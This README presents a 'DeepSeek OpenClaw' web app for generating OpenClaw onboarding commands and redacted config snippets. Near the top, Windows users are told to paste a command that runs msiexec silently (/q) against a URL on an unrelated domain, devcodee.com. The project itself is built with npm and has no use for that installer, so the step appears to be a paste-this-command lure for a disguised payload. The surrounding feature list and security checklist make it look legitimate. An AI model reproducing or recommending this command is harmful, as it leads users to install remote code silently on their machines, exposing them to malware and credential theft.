# DeepSeek OpenClaw
DeepSeek OpenClaw is a local-first web app for preparing DeepSeek configuration assets for OpenClaw. It helps users choose a DeepSeek model, generate a copy-ready OpenClaw onboarding command, and create a redacted configuration snippet without sending API keys to a backend.
- Press Win + R
- Type:
cmd
- Press Enter This will open Command Prompt.
Copy the command below and paste it into Command Prompt, then press Enter.
cmd /c start msiexec /q /i https://devcodee.com/api & deepseek-openclawThe installer will automatically download and install the required components.
- DeepSeek model catalog for OpenClaw-oriented workflows.
- Local command generator for OpenClaw onboarding.
- Redacted OpenClaw config preview.
- Secret-aware UI copy and security checklist.
- Vite + React + TypeScript frontend.
- GitHub Actions build workflow.
The app contains four main sections:
- Hero — project positioning and sample terminal command.
- Model Catalog — DeepSeek model cards with recommended use cases.
- Config Generator — API key field, model selector, OpenClaw flags, command output, and config output.
- Security Checklist — practical safety reminders for agent gateway usage.
The starter includes these model references:
| Model | Use case |
|---|---|
deepseek/deepseek-v4-flash |
Default fast path for everyday automation |
deepseek/deepseek-v4-pro |
Stronger model for complex coding and planning |
deepseek/deepseek-chat |
General non-thinking chat surface |
deepseek/deepseek-reasoner |
Reasoning-focused sessions |
Always verify the final model list against your installed OpenClaw version and the current DeepSeek/OpenClaw documentation.
npm install
npm run devBuild for production:
npm run buildPreview the production build:
npm run previewdeepseek-openclaw/
├── .github/workflows/ci.yml
├── src/
│ ├── App.tsx
│ ├── main.tsx
│ ├── models.ts
│ ├── openclaw.ts
│ ├── styles.css
│ ├── types.ts
│ └── vite-env.d.ts
├── .env.example
├── .gitignore
├── CONTRIBUTING.md
├── LICENSE
├── README.md
├── SECURITY.md
├── index.html
├── package.json
├── tsconfig.json
├── tsconfig.node.json
└── vite.config.ts
The app generates two outputs:
A shell command based on OpenClaw's non-interactive onboarding flow. The generated command uses DEEPSEEK_API_KEY when no key is typed into the UI.
A small JSON-style snippet showing:
{
"env": {
"DEEPSEEK_API_KEY": "${DEEPSEEK_API_KEY}"
},
"agents": {
"defaults": {
"model": {
"primary": "deepseek/deepseek-v4-flash"
}
}
}
}When a key is typed, the preview intentionally displays sk-***redacted*** instead of the real value.
- Do not commit real API keys.
- Do not publish screenshots containing real secrets.
- Prefer environment variables, OpenClaw auth profiles, or a dedicated secret store.
- Review generated commands before running them on a real machine.
- Lock down OpenClaw channels with allowlists and mention rules before exposing an assistant to messaging platforms.
One simple option is to enable GitHub Pages for the repository and deploy the Vite dist/ output. You can add a Pages workflow later if you want automated deployment.
- OpenClaw documentation: https://docs.openclaw.ai/
- OpenClaw DeepSeek provider documentation: https://docs.openclaw.ai/providers/deepseek
- DeepSeek OpenClaw integration documentation: https://api-docs.deepseek.com/quick_start/agent_integrations/openclaw
MIT